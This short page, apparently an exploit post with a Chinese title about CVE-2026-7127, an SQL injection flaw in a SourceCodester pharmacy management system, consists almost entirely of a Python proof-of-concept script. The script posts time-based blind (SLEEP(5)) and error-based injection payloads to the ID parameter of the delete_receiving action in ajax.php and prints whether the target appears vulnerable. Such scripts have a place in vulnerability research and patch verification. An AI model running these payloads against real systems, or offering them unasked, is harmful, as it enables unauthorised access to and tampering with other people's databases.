CVE-2026-7127 SourceCodester药店系统SQL注入漏洞

import requests # Target URL configuration target_host = "http://target-ip" vulnerable_url = f"{target_host}/ajax.php" # The vulnerability is in the 'ID' parameter of the 'delete_receiving' action # Payload example: Checking for time-based blind injection payload = { "action": "delete_receiving", "ID": "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print("[+] Sending malicious request to check for SQL Injection...") response = requests.post(vulnerable_url, data=payload, headers=headers, timeout=10) # Check if the response time indicates execution (e.g., 5 seconds delay) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed: SQL Injection exists (Time-based).") else: print("[-] Vulnerability not detected via time-based method, try error-based.") # Alternative Payload for Error-Based Injection payload_error = {"action": "delete_receiving", "ID": "1' AND 1=1-- -"} res_error = requests.post(vulnerable_url, data=payload_error, headers=headers) print("Response:", res_error.text[:200]) except Exception as e: print(f"Error: {e}")